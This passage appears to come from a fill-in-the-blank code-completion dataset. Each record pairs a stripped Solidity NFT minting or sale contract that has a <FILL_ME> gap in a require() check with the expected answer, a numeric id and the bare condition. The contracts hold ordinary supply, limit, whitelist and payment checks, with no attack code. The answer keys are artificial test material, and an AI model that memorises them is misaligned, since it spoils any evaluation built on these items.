uint256 public tokenPrice = 50000000000000000; //0.05
uint256 public maxSupply = 10000;
uint256 public maxMintPerTx = 10;
// public
string private _name;
string private _symbol;
Counters.Counter private _tokenIdCounter;
mapping (uint256 => string) private _tokenURIs;
string private constant BASE64 = "data:application/json;base64,";
// private
string private _metadata;
// ===========
event minted();
modifier duringMint() {
}
constructor() ERC721("Meow", "MEOW") {
}
// =========== mint
function mint(uint256 quantity)
external
payable
duringMint
nonReentrant
{
require(
msg.value == tokenPrice.mul(quantity),
"Wrong amount of ether sent!"
);
require(
quantity <= maxMintPerTx,
"Max per tx!"
);
require(<FILL_ME>)
_minter(payable(msg.sender), quantity);
}
function teamMint(address to, string calldata metadata_)
external
onlyRole(MINTER_ROLE)
{
}
// ========== internal
function _minter(address payable sender, uint256 quantity)
internal
{
}
function _burn(uint256 tokenId)
internal
override
onlyRole(MINTER_ROLE)
{
}
// =========== utils
function setMetadata(string calldata metadata_)
external
onlyRole(MINTER_ROLE)
{
}
function setTokenPrice(uint256 tokenPrice_)
external
onlyRole(MINTER_ROLE)
{
}
function setMaxSupply(uint256 maxSupply_)
external
onlyRole(MINTER_ROLE)
{
}
function setMaxMintTx(uint256 maxMintPerTx_)
external
onlyRole(MINTER_ROLE)
{
}
function toggleMint()
external
onlyRole(MINTER_ROLE)
{
}
function setInfo(string calldata name_, string calldata symbol_)
external
onlyRole(MINTER_ROLE)
{
}
// ========= view
function getSupply()
external
view
returns (uint256)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, AccessControl)
returns (bool)
{
}
function name()
public
view
virtual
override
returns (string memory)
{
}
function symbol()
public
view
virtual
override
returns (string memory)
{
}
// =========
function withdraw()
external
onlyRole(MINTER_ROLE)
{
}
receive ()
external
payable
{}
}
| _tokenIdCounter.current().add(quantity)<=maxSupply,"Minting this many would exceed supply!" | 179,168 | _tokenIdCounter.current().add(quantity)<=maxSupply |
"Mint exceeds max supply" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ERC721A} from "erc721a/contracts/ERC721A.sol";
import {OperatorFilterer} from "closedsea/src/OperatorFilterer.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract SpyBalloonz is ERC721A, OperatorFilterer, Ownable {
enum MintState {
Closed,
Open
}
uint256 public MAX_SUPPLY = 7777;
uint256 public FREE_TOKEN_PRICE = 0 ether;
uint256 public PAID_TOKEN_PRICE = 0.001 ether;
uint256 public FREE_MINT_LIMIT = 2;
uint256 public PAID_MINT_LIMIT = 10;
MintState public mintState;
string public baseURI;
bool public operatorFilteringEnabled;
constructor(
string memory baseURI_,
address recipient,
uint256 allocation
)
ERC721A("SpyBalloonz", "SP") {
}
// Overrides
function _startTokenId() internal view virtual override returns (uint256) {
}
function repeatRegistration() public {
}
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
function setOperatorFilteringEnabled(bool value) public onlyOwner {
}
function _operatorFilteringEnabled() internal view override returns (bool) {
}
// Modifiers
modifier onlyExternallyOwnedAccount() {
}
// Token URI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory uri) external onlyOwner {
}
// Mint
function setMintState(uint256 newState) external onlyOwner {
}
function freeTokensRemainingForAddress(address who) public view returns (uint256) {
}
function paidTokensRemainingForAddress(address who) public view returns (uint256) {
}
function mintFree() external onlyExternallyOwnedAccount {
uint256 quantity = FREE_MINT_LIMIT;
require(<FILL_ME>)
require(mintState == MintState.Open, "Mint state mismatch");
require(freeTokensRemainingForAddress(msg.sender) >= quantity, "Mint limit for user reached");
_mint(msg.sender, quantity);
_setAux(msg.sender, _getAux(msg.sender) + uint64(quantity));
}
function mintPaid(uint256 quantity) external payable onlyExternallyOwnedAccount {
}
function batchMint(
address[] calldata recipients,
uint256[] calldata quantities
) external onlyOwner {
}
// Edit Mint
function setSupply(uint256 _newSupply) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function setPaidLimit(uint256 _newLimit) external onlyOwner {
}
function setFreeLimit(uint256 _newLimit) external onlyOwner {
}
// Withdraw
function withdrawToRecipients() external onlyOwner {
}
}
| this.totalSupply()+quantity<=MAX_SUPPLY,"Mint exceeds max supply" | 179,366 | this.totalSupply()+quantity<=MAX_SUPPLY |
"Mint limit for user reached" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ERC721A} from "erc721a/contracts/ERC721A.sol";
import {OperatorFilterer} from "closedsea/src/OperatorFilterer.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract SpyBalloonz is ERC721A, OperatorFilterer, Ownable {
enum MintState {
Closed,
Open
}
uint256 public MAX_SUPPLY = 7777;
uint256 public FREE_TOKEN_PRICE = 0 ether;
uint256 public PAID_TOKEN_PRICE = 0.001 ether;
uint256 public FREE_MINT_LIMIT = 2;
uint256 public PAID_MINT_LIMIT = 10;
MintState public mintState;
string public baseURI;
bool public operatorFilteringEnabled;
constructor(
string memory baseURI_,
address recipient,
uint256 allocation
)
ERC721A("SpyBalloonz", "SP") {
}
// Overrides
function _startTokenId() internal view virtual override returns (uint256) {
}
function repeatRegistration() public {
}
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
function setOperatorFilteringEnabled(bool value) public onlyOwner {
}
function _operatorFilteringEnabled() internal view override returns (bool) {
}
// Modifiers
modifier onlyExternallyOwnedAccount() {
}
// Token URI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory uri) external onlyOwner {
}
// Mint
function setMintState(uint256 newState) external onlyOwner {
}
function freeTokensRemainingForAddress(address who) public view returns (uint256) {
}
function paidTokensRemainingForAddress(address who) public view returns (uint256) {
}
function mintFree() external onlyExternallyOwnedAccount {
uint256 quantity = FREE_MINT_LIMIT;
require(this.totalSupply() + quantity <= MAX_SUPPLY, "Mint exceeds max supply");
require(mintState == MintState.Open, "Mint state mismatch");
require(<FILL_ME>)
_mint(msg.sender, quantity);
_setAux(msg.sender, _getAux(msg.sender) + uint64(quantity));
}
function mintPaid(uint256 quantity) external payable onlyExternallyOwnedAccount {
}
function batchMint(
address[] calldata recipients,
uint256[] calldata quantities
) external onlyOwner {
}
// Edit Mint
function setSupply(uint256 _newSupply) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function setPaidLimit(uint256 _newLimit) external onlyOwner {
}
function setFreeLimit(uint256 _newLimit) external onlyOwner {
}
// Withdraw
function withdrawToRecipients() external onlyOwner {
}
}
| freeTokensRemainingForAddress(msg.sender)>=quantity,"Mint limit for user reached" | 179,366 | freeTokensRemainingForAddress(msg.sender)>=quantity |
"Mint limit for user reached" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ERC721A} from "erc721a/contracts/ERC721A.sol";
import {OperatorFilterer} from "closedsea/src/OperatorFilterer.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract SpyBalloonz is ERC721A, OperatorFilterer, Ownable {
enum MintState {
Closed,
Open
}
uint256 public MAX_SUPPLY = 7777;
uint256 public FREE_TOKEN_PRICE = 0 ether;
uint256 public PAID_TOKEN_PRICE = 0.001 ether;
uint256 public FREE_MINT_LIMIT = 2;
uint256 public PAID_MINT_LIMIT = 10;
MintState public mintState;
string public baseURI;
bool public operatorFilteringEnabled;
constructor(
string memory baseURI_,
address recipient,
uint256 allocation
)
ERC721A("SpyBalloonz", "SP") {
}
// Overrides
function _startTokenId() internal view virtual override returns (uint256) {
}
function repeatRegistration() public {
}
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
function setOperatorFilteringEnabled(bool value) public onlyOwner {
}
function _operatorFilteringEnabled() internal view override returns (bool) {
}
// Modifiers
modifier onlyExternallyOwnedAccount() {
}
// Token URI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory uri) external onlyOwner {
}
// Mint
function setMintState(uint256 newState) external onlyOwner {
}
function freeTokensRemainingForAddress(address who) public view returns (uint256) {
}
function paidTokensRemainingForAddress(address who) public view returns (uint256) {
}
function mintFree() external onlyExternallyOwnedAccount {
}
function mintPaid(uint256 quantity) external payable onlyExternallyOwnedAccount {
require(this.totalSupply() + quantity <= MAX_SUPPLY, "Mint exceeds max supply");
require(mintState == MintState.Open, "Mint state mismatch");
require(msg.value >= PAID_TOKEN_PRICE * quantity, "Insufficient value");
require(<FILL_ME>)
_mint(msg.sender, quantity);
}
function batchMint(
address[] calldata recipients,
uint256[] calldata quantities
) external onlyOwner {
}
// Edit Mint
function setSupply(uint256 _newSupply) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function setPaidLimit(uint256 _newLimit) external onlyOwner {
}
function setFreeLimit(uint256 _newLimit) external onlyOwner {
}
// Withdraw
function withdrawToRecipients() external onlyOwner {
}
}
| paidTokensRemainingForAddress(msg.sender)>=quantity,"Mint limit for user reached" | 179,366 | paidTokensRemainingForAddress(msg.sender)>=quantity |
"Already minted/Not whiteListed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MerkleProof.sol";
import "./AggregatorV3Interface.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IPioneerNFT.sol";
contract SalePioneer is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public usdt;
IERC20 public usdc;
IPioneerNFT public Pioneer;
AggregatorV3Interface internal priceFeed;
uint256 public phaseOneTime;
uint256 public phaseTwoTime;
uint256 public epochInitalEnd;
uint256 public airdropTimeLimit;
bytes32 public merkleRoot;
uint public nftPrice ;
uint256 public maxPurchaseInitial;
bool public saleIsActive;
IERC20 public tomi;
address public marketingWallet;
address public teamWallet;
address payable public fundsWallet;
mapping(address => uint) public publicsaleMintedNFT;
mapping(address => bool) public addressWhitelisted;
constructor(
uint _phaseOneTime,
uint _phaseTwoTime,
address _fundsWallet,
address _marketingWallet,
bytes32 _merkleRoot,
IERC20 _tomiToken,
IERC20 _usdt,
IERC20 _usdc,
IPioneerNFT pioneer_,
AggregatorV3Interface priceFeed_
) {
}
receive() external payable {
}
function initialMint(uint paySelect, uint256 quantity, bytes32[] calldata _merkleProof) external payable {
}
// internal functions || Whitelist
function whiteListClaimedPaid( uint quantity, bytes32[] calldata _merkleProof ) internal { // uint mintAllowed, // uint quantity
require(<FILL_ME>)
uint phase = 1;
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, phase, quantity) );
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf),
"Invalid Proof" );
_mintUnpaid( quantity);
addressWhitelisted[msg.sender] = true;
}
function publicSale (uint quantity, uint paySelect) internal {
}
function _mintUnpaid(uint quantity) internal{
}
function setMerkleRoot(bytes32 _newMerkleRoot) public onlyOwner {
}
// latest Eth Price
function getLatestPrice() public view returns (uint) {
}
function priceOfNftinETH() public view returns (uint) {
}
// _increasedTime should be in seconds
function setTimeIncrease(
uint8 phase,
uint256 _increasedTime
) public onlyOwner {
}
function setNFTPrice(uint _newPrice) public onlyOwner {
}
function setUsdtUsdc(IERC20 _usdt, IERC20 _usdc) public onlyOwner {
}
function airDrop(address[] calldata _addresses , uint[] calldata _quantity) public onlyOwner {
}
function setPriceFeed(AggregatorV3Interface _priceFeed) public onlyOwner{
}
}
| addressWhitelisted[msg.sender]==false,"Already minted/Not whiteListed" | 179,468 | addressWhitelisted[msg.sender]==false |
"Limit reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MerkleProof.sol";
import "./AggregatorV3Interface.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IPioneerNFT.sol";
contract SalePioneer is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public usdt;
IERC20 public usdc;
IPioneerNFT public Pioneer;
AggregatorV3Interface internal priceFeed;
uint256 public phaseOneTime;
uint256 public phaseTwoTime;
uint256 public epochInitalEnd;
uint256 public airdropTimeLimit;
bytes32 public merkleRoot;
uint public nftPrice ;
uint256 public maxPurchaseInitial;
bool public saleIsActive;
IERC20 public tomi;
address public marketingWallet;
address public teamWallet;
address payable public fundsWallet;
mapping(address => uint) public publicsaleMintedNFT;
mapping(address => bool) public addressWhitelisted;
constructor(
uint _phaseOneTime,
uint _phaseTwoTime,
address _fundsWallet,
address _marketingWallet,
bytes32 _merkleRoot,
IERC20 _tomiToken,
IERC20 _usdt,
IERC20 _usdc,
IPioneerNFT pioneer_,
AggregatorV3Interface priceFeed_
) {
}
receive() external payable {
}
function initialMint(uint paySelect, uint256 quantity, bytes32[] calldata _merkleProof) external payable {
}
// internal functions || Whitelist
function whiteListClaimedPaid( uint quantity, bytes32[] calldata _merkleProof ) internal {
}
function publicSale (uint quantity, uint paySelect) internal {
require(<FILL_ME>)
require ( publicsaleMintedNFT[msg.sender].add(quantity) <= 10,"Enter Correct value to Mint" );
if(paySelect==1){
require(msg.value >= priceOfNftinETH().mul(quantity), "Send Correct Eth Value");
fundsWallet.transfer(msg.value);
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}else if(paySelect==2){
require(usdt.balanceOf(msg.sender)>= nftPrice.mul(quantity),"No Enough USDT balance");
require(usdt.allowance(msg.sender,address(this))>=nftPrice.mul(quantity),"No Enough USDT Allowance");
usdt.safeTransferFrom(msg.sender,fundsWallet, nftPrice.mul(quantity));
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}else{
require(usdc.balanceOf(msg.sender)>= nftPrice.mul(quantity),"Not Enough USDC balance");
require(usdc.allowance(msg.sender,address(this))>=nftPrice.mul(quantity),"No Enough USDC Allowance");
usdc.safeTransferFrom(msg.sender,fundsWallet, nftPrice.mul(quantity));
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}
}
function _mintUnpaid(uint quantity) internal{
}
function setMerkleRoot(bytes32 _newMerkleRoot) public onlyOwner {
}
// latest Eth Price
function getLatestPrice() public view returns (uint) {
}
function priceOfNftinETH() public view returns (uint) {
}
// _increasedTime should be in seconds
function setTimeIncrease(
uint8 phase,
uint256 _increasedTime
) public onlyOwner {
}
function setNFTPrice(uint _newPrice) public onlyOwner {
}
function setUsdtUsdc(IERC20 _usdt, IERC20 _usdc) public onlyOwner {
}
function airDrop(address[] calldata _addresses , uint[] calldata _quantity) public onlyOwner {
}
function setPriceFeed(AggregatorV3Interface _priceFeed) public onlyOwner{
}
}
| Pioneer.totalSupply().add(quantity)<=maxPurchaseInitial,"Limit reached" | 179,468 | Pioneer.totalSupply().add(quantity)<=maxPurchaseInitial |
"Enter Correct value to Mint" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MerkleProof.sol";
import "./AggregatorV3Interface.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IPioneerNFT.sol";
contract SalePioneer is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public usdt;
IERC20 public usdc;
IPioneerNFT public Pioneer;
AggregatorV3Interface internal priceFeed;
uint256 public phaseOneTime;
uint256 public phaseTwoTime;
uint256 public epochInitalEnd;
uint256 public airdropTimeLimit;
bytes32 public merkleRoot;
uint public nftPrice ;
uint256 public maxPurchaseInitial;
bool public saleIsActive;
IERC20 public tomi;
address public marketingWallet;
address public teamWallet;
address payable public fundsWallet;
mapping(address => uint) public publicsaleMintedNFT;
mapping(address => bool) public addressWhitelisted;
constructor(
uint _phaseOneTime,
uint _phaseTwoTime,
address _fundsWallet,
address _marketingWallet,
bytes32 _merkleRoot,
IERC20 _tomiToken,
IERC20 _usdt,
IERC20 _usdc,
IPioneerNFT pioneer_,
AggregatorV3Interface priceFeed_
) {
}
receive() external payable {
}
function initialMint(uint paySelect, uint256 quantity, bytes32[] calldata _merkleProof) external payable {
}
// internal functions || Whitelist
function whiteListClaimedPaid( uint quantity, bytes32[] calldata _merkleProof ) internal {
}
function publicSale (uint quantity, uint paySelect) internal {
require(Pioneer.totalSupply().add(quantity) <= maxPurchaseInitial, "Limit reached");
require(<FILL_ME>)
if(paySelect==1){
require(msg.value >= priceOfNftinETH().mul(quantity), "Send Correct Eth Value");
fundsWallet.transfer(msg.value);
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}else if(paySelect==2){
require(usdt.balanceOf(msg.sender)>= nftPrice.mul(quantity),"No Enough USDT balance");
require(usdt.allowance(msg.sender,address(this))>=nftPrice.mul(quantity),"No Enough USDT Allowance");
usdt.safeTransferFrom(msg.sender,fundsWallet, nftPrice.mul(quantity));
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}else{
require(usdc.balanceOf(msg.sender)>= nftPrice.mul(quantity),"Not Enough USDC balance");
require(usdc.allowance(msg.sender,address(this))>=nftPrice.mul(quantity),"No Enough USDC Allowance");
usdc.safeTransferFrom(msg.sender,fundsWallet, nftPrice.mul(quantity));
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}
}
function _mintUnpaid(uint quantity) internal{
}
function setMerkleRoot(bytes32 _newMerkleRoot) public onlyOwner {
}
// latest Eth Price
function getLatestPrice() public view returns (uint) {
}
function priceOfNftinETH() public view returns (uint) {
}
// _increasedTime should be in seconds
function setTimeIncrease(
uint8 phase,
uint256 _increasedTime
) public onlyOwner {
}
function setNFTPrice(uint _newPrice) public onlyOwner {
}
function setUsdtUsdc(IERC20 _usdt, IERC20 _usdc) public onlyOwner {
}
function airDrop(address[] calldata _addresses , uint[] calldata _quantity) public onlyOwner {
}
function setPriceFeed(AggregatorV3Interface _priceFeed) public onlyOwner{
}
}
| publicsaleMintedNFT[msg.sender].add(quantity)<=10,"Enter Correct value to Mint" | 179,468 | publicsaleMintedNFT[msg.sender].add(quantity)<=10 |
"No Enough USDT balance" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MerkleProof.sol";
import "./AggregatorV3Interface.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IPioneerNFT.sol";
contract SalePioneer is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public usdt;
IERC20 public usdc;
IPioneerNFT public Pioneer;
AggregatorV3Interface internal priceFeed;
uint256 public phaseOneTime;
uint256 public phaseTwoTime;
uint256 public epochInitalEnd;
uint256 public airdropTimeLimit;
bytes32 public merkleRoot;
uint public nftPrice ;
uint256 public maxPurchaseInitial;
bool public saleIsActive;
IERC20 public tomi;
address public marketingWallet;
address public teamWallet;
address payable public fundsWallet;
mapping(address => uint) public publicsaleMintedNFT;
mapping(address => bool) public addressWhitelisted;
constructor(
uint _phaseOneTime,
uint _phaseTwoTime,
address _fundsWallet,
address _marketingWallet,
bytes32 _merkleRoot,
IERC20 _tomiToken,
IERC20 _usdt,
IERC20 _usdc,
IPioneerNFT pioneer_,
AggregatorV3Interface priceFeed_
) {
}
receive() external payable {
}
function initialMint(uint paySelect, uint256 quantity, bytes32[] calldata _merkleProof) external payable {
}
// internal functions || Whitelist
function whiteListClaimedPaid( uint quantity, bytes32[] calldata _merkleProof ) internal {
}
function publicSale (uint quantity, uint paySelect) internal {
require(Pioneer.totalSupply().add(quantity) <= maxPurchaseInitial, "Limit reached");
require ( publicsaleMintedNFT[msg.sender].add(quantity) <= 10,"Enter Correct value to Mint" );
if(paySelect==1){
require(msg.value >= priceOfNftinETH().mul(quantity), "Send Correct Eth Value");
fundsWallet.transfer(msg.value);
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}else if(paySelect==2){
require(<FILL_ME>)
require(usdt.allowance(msg.sender,address(this))>=nftPrice.mul(quantity),"No Enough USDT Allowance");
usdt.safeTransferFrom(msg.sender,fundsWallet, nftPrice.mul(quantity));
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}else{
require(usdc.balanceOf(msg.sender)>= nftPrice.mul(quantity),"Not Enough USDC balance");
require(usdc.allowance(msg.sender,address(this))>=nftPrice.mul(quantity),"No Enough USDC Allowance");
usdc.safeTransferFrom(msg.sender,fundsWallet, nftPrice.mul(quantity));
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}
}
function _mintUnpaid(uint quantity) internal{
}
function setMerkleRoot(bytes32 _newMerkleRoot) public onlyOwner {
}
// latest Eth Price
function getLatestPrice() public view returns (uint) {
}
function priceOfNftinETH() public view returns (uint) {
}
// _increasedTime should be in seconds
function setTimeIncrease(
uint8 phase,
uint256 _increasedTime
) public onlyOwner {
}
function setNFTPrice(uint _newPrice) public onlyOwner {
}
function setUsdtUsdc(IERC20 _usdt, IERC20 _usdc) public onlyOwner {
}
function airDrop(address[] calldata _addresses , uint[] calldata _quantity) public onlyOwner {
}
function setPriceFeed(AggregatorV3Interface _priceFeed) public onlyOwner{
}
}
| usdt.balanceOf(msg.sender)>=nftPrice.mul(quantity),"No Enough USDT balance" | 179,468 | usdt.balanceOf(msg.sender)>=nftPrice.mul(quantity) |
"No Enough USDT Allowance" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MerkleProof.sol";
import "./AggregatorV3Interface.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IPioneerNFT.sol";
contract SalePioneer is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public usdt;
IERC20 public usdc;
IPioneerNFT public Pioneer;
AggregatorV3Interface internal priceFeed;
uint256 public phaseOneTime;
uint256 public phaseTwoTime;
uint256 public epochInitalEnd;
uint256 public airdropTimeLimit;
bytes32 public merkleRoot;
uint public nftPrice ;
uint256 public maxPurchaseInitial;
bool public saleIsActive;
IERC20 public tomi;
address public marketingWallet;
address public teamWallet;
address payable public fundsWallet;
mapping(address => uint) public publicsaleMintedNFT;
mapping(address => bool) public addressWhitelisted;
constructor(
uint _phaseOneTime,
uint _phaseTwoTime,
address _fundsWallet,
address _marketingWallet,
bytes32 _merkleRoot,
IERC20 _tomiToken,
IERC20 _usdt,
IERC20 _usdc,
IPioneerNFT pioneer_,
AggregatorV3Interface priceFeed_
) {
}
receive() external payable {
}
function initialMint(uint paySelect, uint256 quantity, bytes32[] calldata _merkleProof) external payable {
}
// internal functions || Whitelist
function whiteListClaimedPaid( uint quantity, bytes32[] calldata _merkleProof ) internal {
}
function publicSale (uint quantity, uint paySelect) internal {
require(Pioneer.totalSupply().add(quantity) <= maxPurchaseInitial, "Limit reached");
require ( publicsaleMintedNFT[msg.sender].add(quantity) <= 10,"Enter Correct value to Mint" );
if(paySelect==1){
require(msg.value >= priceOfNftinETH().mul(quantity), "Send Correct Eth Value");
fundsWallet.transfer(msg.value);
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}else if(paySelect==2){
require(usdt.balanceOf(msg.sender)>= nftPrice.mul(quantity),"No Enough USDT balance");
require(<FILL_ME>)
usdt.safeTransferFrom(msg.sender,fundsWallet, nftPrice.mul(quantity));
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}else{
require(usdc.balanceOf(msg.sender)>= nftPrice.mul(quantity),"Not Enough USDC balance");
require(usdc.allowance(msg.sender,address(this))>=nftPrice.mul(quantity),"No Enough USDC Allowance");
usdc.safeTransferFrom(msg.sender,fundsWallet, nftPrice.mul(quantity));
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}
}
function _mintUnpaid(uint quantity) internal{
}
function setMerkleRoot(bytes32 _newMerkleRoot) public onlyOwner {
}
// latest Eth Price
function getLatestPrice() public view returns (uint) {
}
function priceOfNftinETH() public view returns (uint) {
}
// _increasedTime should be in seconds
function setTimeIncrease(
uint8 phase,
uint256 _increasedTime
) public onlyOwner {
}
function setNFTPrice(uint _newPrice) public onlyOwner {
}
function setUsdtUsdc(IERC20 _usdt, IERC20 _usdc) public onlyOwner {
}
function airDrop(address[] calldata _addresses , uint[] calldata _quantity) public onlyOwner {
}
function setPriceFeed(AggregatorV3Interface _priceFeed) public onlyOwner{
}
}
| usdt.allowance(msg.sender,address(this))>=nftPrice.mul(quantity),"No Enough USDT Allowance" | 179,468 | usdt.allowance(msg.sender,address(this))>=nftPrice.mul(quantity) |
"Not Enough USDC balance" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MerkleProof.sol";
import "./AggregatorV3Interface.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IPioneerNFT.sol";
contract SalePioneer is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public usdt;
IERC20 public usdc;
IPioneerNFT public Pioneer;
AggregatorV3Interface internal priceFeed;
uint256 public phaseOneTime;
uint256 public phaseTwoTime;
uint256 public epochInitalEnd;
uint256 public airdropTimeLimit;
bytes32 public merkleRoot;
uint public nftPrice ;
uint256 public maxPurchaseInitial;
bool public saleIsActive;
IERC20 public tomi;
address public marketingWallet;
address public teamWallet;
address payable public fundsWallet;
mapping(address => uint) public publicsaleMintedNFT;
mapping(address => bool) public addressWhitelisted;
constructor(
uint _phaseOneTime,
uint _phaseTwoTime,
address _fundsWallet,
address _marketingWallet,
bytes32 _merkleRoot,
IERC20 _tomiToken,
IERC20 _usdt,
IERC20 _usdc,
IPioneerNFT pioneer_,
AggregatorV3Interface priceFeed_
) {
}
receive() external payable {
}
function initialMint(uint paySelect, uint256 quantity, bytes32[] calldata _merkleProof) external payable {
}
// internal functions || Whitelist
function whiteListClaimedPaid( uint quantity, bytes32[] calldata _merkleProof ) internal {
}
function publicSale (uint quantity, uint paySelect) internal {
require(Pioneer.totalSupply().add(quantity) <= maxPurchaseInitial, "Limit reached");
require ( publicsaleMintedNFT[msg.sender].add(quantity) <= 10,"Enter Correct value to Mint" );
if(paySelect==1){
require(msg.value >= priceOfNftinETH().mul(quantity), "Send Correct Eth Value");
fundsWallet.transfer(msg.value);
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}else if(paySelect==2){
require(usdt.balanceOf(msg.sender)>= nftPrice.mul(quantity),"No Enough USDT balance");
require(usdt.allowance(msg.sender,address(this))>=nftPrice.mul(quantity),"No Enough USDT Allowance");
usdt.safeTransferFrom(msg.sender,fundsWallet, nftPrice.mul(quantity));
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}else{
require(<FILL_ME>)
require(usdc.allowance(msg.sender,address(this))>=nftPrice.mul(quantity),"No Enough USDC Allowance");
